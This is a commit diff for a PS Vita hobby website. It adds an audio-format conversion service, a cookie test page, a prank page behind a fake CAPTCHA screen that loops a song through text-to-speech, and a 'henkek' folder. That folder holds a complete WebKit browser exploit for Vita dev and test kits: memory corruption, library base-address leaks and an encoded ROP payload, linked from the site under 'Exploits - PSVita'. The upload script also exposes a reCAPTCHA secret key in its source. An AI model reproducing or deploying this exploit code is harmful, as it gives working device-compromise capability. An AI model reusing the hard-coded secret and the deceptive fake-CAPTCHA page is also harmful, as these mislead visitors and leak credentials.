Update src,

convert_util/at9convert.html

@@ -0,0 +1,21 @@
+<script src="https://www.google.com/recaptcha/api.js" async defer></script>
+<script>
+function send_form(){
+	if(grecaptcha.getResponse() != "")
+	{
+		document.getElementById("upld").submit();
+	}
+	else
+	{
+		alert("Please solve the CAPTCHA!");
+	}
+}
+</script>
+
+<form action="upload.php" method="post" id="upld" enctype="multipart/form-data">
+  Convert WAV/MP3/OGG/FLAC -> AT9
+  <input type="file" name="fileUpload" id="fileUpload">
+  <input type="hidden" name="continueTo" value="toAt9">
+  <div class="g-recaptcha" data-sitekey="6LfbwrcZAAAAAPKXdRWseksJBtJJRhGgkyWXf1XU"></div>
+</form>
+<button onclick="send_form()">Convert to At9</button>

convert_util/convert.php

@@ -0,0 +1,56 @@
+<?php
+function to_at9(string $path)
+{	
+	$ext = pathinfo($path, PATHINFO_EXTENSION);
+	$newName = "/home/web/convert/".(string)(time()).".".$ext;
+	rename($path,$newName);
+	
+	exec("/home/web/convert/convert_to_at9.sh ".escapeshellarg($newName));
+	if(!file_exists($newName.".at9"))
+	{
+		if(file_exists($path))
+			delete($path);
+		if(file_exists($newName))
+			delete($newName);
+		echo("Error Converting to AT9.");
+	}
+	else
+	{
+		if(file_exists($path))
+			delete($path);
+		if(file_exists($newName))
+			delete($newName);
+		
+		$name = "/convertjob/".(string)(time()).".at9";
+		rename($newName.".at9","/home/web/public_html/vitatricks.tk".$name);
+		return $name;
+	}
+}
+
+function to_flac(string $path)
+{
+	$newName = "/home/web/convert/".(string)(time()).".at9";
+	rename($path,$newName);
+	exec("/home/web/convert/convert_to_flac.sh ".escapeshellarg($newName));
+	if(!file_exists($newName.".flac"))
+	{
+		if(file_exists($path))
+			delete($path);
+		if(file_exists($newName))
+			delete($newName);
+
+		echo("Error Converting to FLAC.");
+	}
+	else
+	{
+		if(file_exists($path))
+			delete($path);
+		if(file_exists($newName))
+			delete($newName);
+
+		$name = "/convertjob/".(string)(time()).".flac";
+		rename($newName.".flac".$ext,"/home/web/public_html/vitatricks.tk".$name);
+		return $name;
+	}
+}
+?>

convert_util/flacconvert.html

@@ -0,0 +1,21 @@
+<script src="https://www.google.com/recaptcha/api.js" async defer></script>
+<script>
+function send_form(){
+	if(grecaptcha.getResponse() != "")
+	{
+		document.getElementById("upld").submit();
+	}
+	else
+	{
+		alert("Please solve the CAPTCHA!");
+	}
+}
+</script>
+
+<form action="upload.php" method="post" id="upld" enctype="multipart/form-data">
+  Convert AT9 -> FLAC
+  <input type="file" name="fileUpload" id="fileUpload">
+  <input type="hidden" name="continueTo" value="fromAt9">
+  <div class="g-recaptcha" data-sitekey="6LfbwrcZAAAAAPKXdRWseksJBtJJRhGgkyWXf1XU"></div>
+</form>
+<button onclick="send_form()">Convert to Flac</button>

convert_util/index.html

@@ -0,0 +1,5 @@
+<h1>At9 Conversion Services</h1>
+<a href="at9convert.html">WAV/Flac/OGG/MP3 -> AT9</a><br>
+<a href="flacconvert.html">AT9 -> Flac</a><br><br>
+
+<b>Files uploaded here are removed within 10 minutes</b>

convert_util/upload.php

@@ -0,0 +1,87 @@
+<?php
+include("convert.php");
+
+if(isset($_POST["g-recaptcha-response"]))
+{
+	$url = 'https://www.google.com/recaptcha/api/siteverify';
+	$data = array(
+		'secret' => '6LfbwrcZAAAAAAeA9rNiEDilcmeVMH5sjNaYoGIa',
+		'response' => $_POST["g-recaptcha-response"]
+	);
+	$options = array(
+		'http' => array (
+			'method' => 'POST',
+			'content' => http_build_query($data)
+		)
+	);
+	$context  = stream_context_create($options);
+	$verify = file_get_contents($url, false, $context);
+	$captcha_success=json_decode($verify);
+	if ($captcha_success->success==false) {
+		echo "Recaptcha was not solved successfully.";
+		die();
+	} else if ($captcha_success->success==true) {
+		if(strcmp($captcha_success->hostname,"vitatricks.tk") !== 0)
+		{
+			echo("Recaptcha returned incorrect hostname.");
+			die();	
+		}
+	}
+}
+else
+{
+	echo("No recaptcha response data sent.");
+	die();
+}
+
+$uploadPath = $_FILES["fileUpload"]["name"];
+$ext = pathinfo($uploadPath, PATHINFO_EXTENSION);
+
+//ESCAPE ESSCAPPPEEE!
+$ext = str_replace(".","",$ext);
+$ext = str_replace("/","",$ext);
+$ext = str_replace("*","",$ext);
+$ext = addslashes($ext);
+
+$uploadPath = (string)(time()).".".$ext;
+
+$target_dir = "/home/web/public_html/vitatricks.tk/convertjob/";
+$target_file = $target_dir . basename($uploadPath);
+$uploadOk = 1;
+$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
+
+if(isset($_POST["continueTo"]))
+{
+	$continueTo = $_POST["continueTo"];
+	if($continueTo == "fromAt9")
+	{
+		if($ext == "at9")
+		{
+			move_uploaded_file($_FILES["fileUpload"]["tmp_name"], $target_file);
+			$flac_file = to_flac($target_file);
+			header("Location: ".$flac_file);
+		}
+		else
+		{
+			echo("Not an AT9 File.");
+		}
+	}
+	else if($continueTo == "toAt9")
+	{	if($ext == "mp3" || $ext == "ogg" || $ext == "wav" || $ext == "flac")
+		{
+			move_uploaded_file($_FILES["fileUpload"]["tmp_name"], $target_file);
+			$at9_file = to_at9($target_file);
+			header("Location: ".$at9_file);
+		}
+		else
+		{
+			echo("Not a OGG, WAV, or FLAC File.");
+		}
+	}
+	else
+	{
+		echo("Unkown Action!");
+	}
+
+}
+?>

cookie_test.php

@@ -0,0 +1,9 @@
+<?php
+setcookie("httpCookie","yes",time()+0x500000);
+echo("<script> document.cookie = 'jsCookie=yes;  expires=Wed, 21 Dec 2022 12:00:00 UTC;';</script>");
+
+echo("I see... <br>");
+print_r($_COOKIE);
+
+echo("<br><br>I set a cookie via HTTP and JS!");
+?>

henkek/exploit.html

@@ -0,0 +1,2 @@
+<noscript>Go to browser settings and check "Enable JavaScript", then reload this page.</noscript><script src='payload.js'></script><script>try{var r=null;function e(e,a){if(!r)r=new DataView(new ArrayBuffer(16));r.setUint32(0,a);r.setUint32(4,e);return r.getFloat64(0)}function t(e){if(!r)r=new DataView(new ArrayBuffer(16));r.setFloat64(0,e);return{low:r.getUint32(4),hi:r.getUint32(0)}}function a(e){var a=t(e);hi=a.hi.toString(16);lo=a.low.toString(16);while(lo.length<8)lo="0"+lo;return"0x"+hi+lo}function o(e){while(1)alert(e)}var s=new Uint32Array(1024);var n=new Uint32Array(55);n[0]=74565;n[1]=424080;var i=document.createElement("textarea");i.rows=287454020;var c=e(2147483648,2147483648);var u=40960;var b=65536;var d=10;var f=new Array(b);var l={};l.toString=function(){f.push(12345);buf=new Uint32Array(159744);buf[0]=-1;return""};f[0]=l;f[1]=n;f[2]=i;f.sort();l.toString=function(){return""};var _=buf[8204];var p=buf[8202];var f=new Array(73728);var l={};var v=[];l.toString=function(){f.push(12345);for(var e=0;e<d;++e){var a=new Array(u);a[0]=1234.5;v.push(a)}return""};f[0]=l;for(var S=1;S<49152;++S)f[S]=c;f.sort();l.toString=function(){return""};for(var S=0;S<v.length;++S){if(v[S].length!=u){found=v[S]}}if(!found||found.length!=2147483648){o("failed")}var h=found[536821755];var w=t(h).low;found[536870907]=e(w,0);found[536870908]=0;found[536870909]=0;var h=t(found[536821756]).low;if(h==2203615232){me=2208825344+40}else if(h==2202566656){me=2207776768+40}else{found[268435456]=123}scratch=me+4096;me-=2719744;function g(e){idx=536870912+(e-me)/8;return found[idx]}function y(e,a){idx=536870912+(e-me)/8;found[idx]=a}l=t(g(_+8)).hi;y(l+8,e(0,2147483648));y(l+24,e(0,2147483648));if(n.length!=2147483648)o("failed to corrupt a buffer");u32=n;l=u32[(p+12)/4];textareavptr=u32[l/4];vtidx=l;function m(e){first=u32[e/4];second=u32[e/4+1];return((first&4095|(first&983040)>>4)&65535|((second&4095|(second&983040)>>4)&65535)<<16)>>>0}SceWebKit_base=textareavptr-11253340;SceLibc_base=m(SceWebKit_base+8779012)-64073;SceLibKernel_base=m(SceWebKit_base+8778852)-36913;ScePsp2Compat_base=m(SceWebKit_base+8770276)-142693;SceWebFiltering_base=m(ScePsp2Compat_base+2910348)-2533;SceLibHttp_base=m(SceWebFiltering_base+15300)-56365;SceNet_base=m(SceWebKit_base+8778772)-9197;SceNetCtl_base=m(SceLibHttp_base+101364)-3417;SceAppMgr_base=m(SceNetCtl_base+39608)-18893;some_space=scratch;for(var S=0;S<64;S++)u32[some_space/4+S]=u32[textareavptr/4+S];u32[vtidx/4]=some_space;for(var S=0;S<48;++S)s[S]=u32[vtidx/4+S];u32[some_space/4+78]=SceLibc_base+82032|1;i.scrollLeft=0;sp=(u32[vtidx/4+8]^(u32[vtidx/4+9]^SceWebKit_base+3242281)>>>0)>>>0;sp-=981016;for(var S=0;S<48;++S)u32[vtidx/4+S]=s[S];rop_data_base=sp+64;rop_code_base=sp+65536;addr=rop_code_base/4;for(var S=0;S<payload.length;++S,++addr){switch(relocs[S]){case 0:u32[addr]=payload[S];break;case 1:u32[addr]=payload[S]+rop_data_base;break;case 2:u32[addr]=payload[S]+SceWebKit_base;break;case 3:u32[addr]=payload[S]+SceLibKernel_base;break;case 4:u32[addr]=payload[S]+SceLibc_base;break;case 5:u32[addr]=payload[S]+SceLibHttp_base;break;case 6:u32[addr]=payload[S]+SceNet_base;break;case 7:u32[addr]=payload[S]+SceAppMgr_base;break;default:alert("wtf?");alert(S+" "+relocs[S])}}u32[some_space/4+78]=SceWebKit_base+21704;var x=some_space+256;u32[x/4+5]=rop_code_base;u32[x/4+6]=SceWebKit_base+787594|1;i.scrollLeft=x;alert("that's it")}catch(e){alert("error: "+e.message)}
+</script>

henkek/index.html

@@ -0,0 +1 @@
+<h1><a href="exploit.html">Hack my ACTIVATED kit!</a></h1>

henkek/payload.js

@@ -0,0 +1,3 @@
+
+payload = [8932229,787595,2090555,8876597,2264,291,1549187,1035707,0,8876597,8,1399067,0,8876597,8,963797,0,0,0,0,787595,6366033,9597461,0,8932229,280,291,81665,1035707,0,9296309,268,21704,268435712,6291456,44233,0,785297,0,0,0,8783415,12,0,0,1077189,785297,0,0,0,9296309,124,16,0,0,1077189,0,785297,0,0,0,9296309,12,16,0,0,0,0,431537,42897,785297,0,0,0,9296309,68,4096,0,0,0,0,431537,1247765,785297,0,0,0,8783415,144,0,0,1077189,785297,0,0,0,9296309,144,0,6287360,0,0,0,431537,81937,785297,0,0,0,9296309,272,203477088,1048576,0,246700,0,785297,0,0,0,8783415,148,0,0,1077189,785297,0,0,0,9296309,148,152,0,0,0,0,431537,246684,785297,0,0,0,9296309,65536,0,0,0,37629,0,785297,0,0,0,9296309,276,2,1,0,38011,0,785297,0,0,0,8783415,156,0,0,38155,785297,0,0,0,8783415,0,156,0,38399,785297,0,0,0,8783415,196,0,0,1077189,785297,0,0,0,9296309,196,0,0,0,0,0,431537,39221,785297,0,0,0,8932229,1048576,9597461,152,432379,0,9597461,196,431537,39299,1035707,0,9296309,0,200,0,0,1077189,0,785297,0,0,0,9296309,144,3145728,0,0,0,0,431537,1247765,785297,0,0,0,8783415,204,0,0,1077189,785297,0,0,0,9296309,0,208,0,0,1077189,0,785297,0,0,0,9296309,0,212,0,0,1077189,0,785297,0,0,0,9296309,0,216,0,0,1077189,0,785297,0,0,0,9296309,0,220,0,0,1077189,0,785297,0,0,0,9296309,0,224,0,0,1077189,0,785297,0,0,0,9296309,0,228,0,0,1077189,0,785297,0,0,0,9335877,0,0,1399067,0,9597461,260,431537,0,8876597,71496,291,1549187,1035707,0,8876597,152,963797,0,0,0,0,787595,6366033,291,1549187,1035707,0,1226183,0,4531149,0,8876597,200,291,1549187,1035707,0,431537,0,8876597,264,1399067,0,9597461,260,431537,0,4531149,0,8876597,152,963797,0,0,0,0,787595,6366033,291,1549187,1035707,0,431537,0,8876597,264,963797,0,0,0,0,787595,6366033,291,1549187,1035707,0,8876597,264,1399067,0,9597461,260,431537,0,4531149,0,8876597,152,963797,0,0,0,0,787595,6366033,291,1549187,1035707,0,8876597,264,963797,0,0,0,0,787595,6366033,114011,0,8876597,1,9597461,260,431537,0,291,1549187,1035707,0,8876597,260,1399067,0,8876597,1,9597461,0,431537,0,291,1549187,1035707,0,8876597,0,1399067,0,9597461,0,431537,17874,8653693,0,0,0,8876597,4294967295,291,1549187,1035707,0,8876597,744,291,6585653,1035707,0,8876597,4,1399067,0,8932229,787595,2090555,8876597,4,963797,0,0,0,0,787595,6366033,291,1549187,1035707,0,8876597,96,291,1549187,1035707,0,291,2057,1035707,0,4369,8932229,79955,9597461,152,432379,0,9597461,144,431537,81665,1035707,0,9296309,144,252,0,0,0,0,431537,1077189,785297,0,0,0,9296309,787595,256,0,0,1077189,0,785297,0,0,0,9296309,12,28,232,0,0,0,431537,42889,785297,0,0,0,9296309,12,0,0,0,0,0,431537,5885,785297,0,0,0,1305,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1886680168,1982803770,1952543849,1801677170,1802776179,1852139567,795567467,1802397032,779447137,7235938,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];
+relocs = [2,2,2,2,0,2,2,2,0,2,1,2,0,2,1,2,0,0,0,0,2,2,2,1,2,0,2,4,2,0,2,1,2,0,0,3,0,2,0,0,0,2,1,0,0,2,2,0,0,0,2,0,1,0,0,2,0,2,0,0,0,2,1,1,0,0,0,0,2,3,2,0,0,0,2,1,0,0,0,0,0,2,2,2,0,0,0,2,1,0,0,2,2,0,0,0,2,1,0,0,0,0,0,2,4,2,0,0,0,2,1,0,0,0,4,0,2,0,0,0,2,1,0,0,2,2,0,0,0,2,1,1,0,0,0,0,2,4,2,0,0,0,2,0,0,0,0,5,0,2,0,0,0,2,1,0,0,0,5,0,2,0,0,0,2,1,0,0,5,2,0,0,0,2,0,1,0,5,2,0,0,0,2,1,0,0,2,2,0,0,0,2,1,0,0,0,0,0,2,5,2,0,0,0,2,0,2,1,2,0,2,1,2,5,2,0,2,0,1,0,0,2,0,2,0,0,0,2,1,0,0,0,0,0,2,2,2,0,0,0,2,1,0,0,2,2,0,0,0,2,2,1,0,0,2,0,2,0,0,0,2,3,1,0,0,2,0,2,0,0,0,2,4,1,0,0,2,0,2,0,0,0,2,5,1,0,0,2,0,2,0,0,0,2,6,1,0,0,2,0,2,0,0,0,2,7,1,0,0,2,0,2,0,0,0,2,0,1,2,0,2,1,2,0,2,0,2,2,2,0,2,1,2,0,0,0,0,2,2,2,2,2,0,2,0,2,0,2,1,2,2,2,0,2,0,2,1,2,0,2,1,2,0,2,0,2,1,2,0,0,0,0,2,2,2,2,2,0,2,0,2,1,2,0,0,0,0,2,2,2,2,2,0,2,1,2,0,2,1,2,0,2,0,2,1,2,0,0,0,0,2,2,2,2,2,0,2,1,2,0,0,0,0,2,2,2,0,2,0,2,1,2,0,2,2,2,0,2,1,2,0,2,0,2,1,2,0,2,2,2,0,2,1,2,0,2,1,2,0,2,0,0,0,2,0,2,2,2,0,2,0,2,2,2,0,2,1,2,0,2,2,2,2,1,2,0,0,0,0,2,2,2,2,2,0,2,0,2,2,2,0,2,3,2,0,3,2,0,2,1,2,0,2,1,2,4,2,0,2,1,1,0,0,0,0,2,2,2,0,0,0,2,2,1,0,0,2,0,2,0,0,0,2,1,0,1,0,0,0,2,3,2,0,0,0,2,1,0,0,0,0,0,2,3,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];

henkek/pkg/sce_sys/livearea/template.xml

@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<livearea style="a4" format-ver="01.00" content-rev="1">
+    <livearea-background>
+        <image>bg.png</image>
+    </livearea-background>
+    
+    <gate>
+        <startup-image>startup.png</startup-image>
+    </gate>
+    
+    <frame id="frame1">
+        <liveitem>
+            <target>https://henkaku.xyz/go/</target>
+            <background x="20" y="-10" >install_button.png</background>
+        </liveitem>
+    </frame>
+</livearea>

index.html

@@ -16,12 +16,15 @@
 <a href="id.html">Browser Information</a><br>
 <a href="url.html">Goto URL</a><br>
 <a href="timestamp.html">Decode Playstation Timestamp</a><br>
-<a href="GameMaker.html">GameMaker:Studio 2 data.win -> UserID</a></br>
-<b>Other Vita Stuff:</b></br>
+<a href="GameMaker.html">GameMaker:Studio 2 data.win -> UserID</a><br>
+<a href="cookie_test.php">Test Cookies</a><br>
+<a href="tts.html">Chrome Bugs :3</a><br>
+<b>Other Vita Stuff:</b><br>
 <a href="invalidDownload.php">Start invalid download(psv)</a><br>
 <a href="browser.html">Browser alert() Bug (psp-psv-ps3-ps4)<a><br>
 <a href="model.html">Determine PSVita Model No. by MAC ADDR</a><br>
 <a href="food_service.php">F00D Service (cma.henkaku.xyz chinese knock off)</a><br>
+<a href="convert_util">AT9 Conversion Service</a><br>
 <b>PS4 Error-On-Demand:</b><br>
 <a href="psal:play?id=NPXS10031">NP-363211-3</a><br>
 <a href="http://">WV-33896-9</a><br>
@@ -34,6 +37,8 @@
 <b>PSVita Non System URI:</b><br>
 <a href="psns:">PS Store</a><br>
 <a href="mailto:">Email</a><br>
-<a href="grpmsg:">PSN Messages</a><br><br>
+<a href="grpmsg:">PSN Messages</a><br>
+<b>Exploits - PSVita:</b><br>
+<a href="henkek/">Henkaku for Activated DevKits and TestKits.</a><br><br>
 <b>vitatricks - GIT Repository</b><br>
-<input type="text" value="git clone https://SilicaAndPina@bitbucket.org/SilicaAndPina/vitatricks.git"  size="60" readonly="true"></input>
+<input type="text" value="git clone https://bitbucket.org/SilicaAndPina/vitatricks.git"  size="60" readonly="true"></input>

tts.html

@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8">
+<meta name="viewport" content="width=device-width, initial-scale=1.0">
+<script src="https://www.google.com/recaptcha/api.js" async defer></script>
+
+<script>
+	window.speak= function()
+	{
+		speechSynthesis.speak(new SpeechSynthesisUtterance("We're no strangers to love You know the rules and so do I A full commitment's what I'm thinking of You wouldn't get this from any other guy I just wanna tell you how I'm feeling Gotta make you understand Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you We've known each other for so long Your heart's been aching, but You're too shy to say it Inside, we both know what's been going on We know the game and we're gonna play it And if you ask me how I'm feeling Don't tell me you're too blind to see Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you Ooh, give you up Ooh, give you up Never gonna give, never gonna give Give you up Never gonna give, never gonna give Give you up We've known each other for so long Your heart's been aching, but You're too shy to say it Inside, we both know what's been going on We know the game and we're gonna play it I just wanna tell you how I'm feeling Gotta make you understand Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you".repeat(500)))
+		document.getElementById("troll").innerHTML = "<h1>Congratz you played yourself.</h1>";
+	}
+	window.addEventListener("click",speak)
+    window.addEventListener("keydown",speak)
+    window.addEventListener("touchstart",speak)
+    </script>
+</head>
+<body>
+	<div id="troll">
+		<h1>We have been receiving a large number of automated requests</h1>
+		<img src="/fakecaptcha.png"></img>
+	</div>
+</body>
+</html>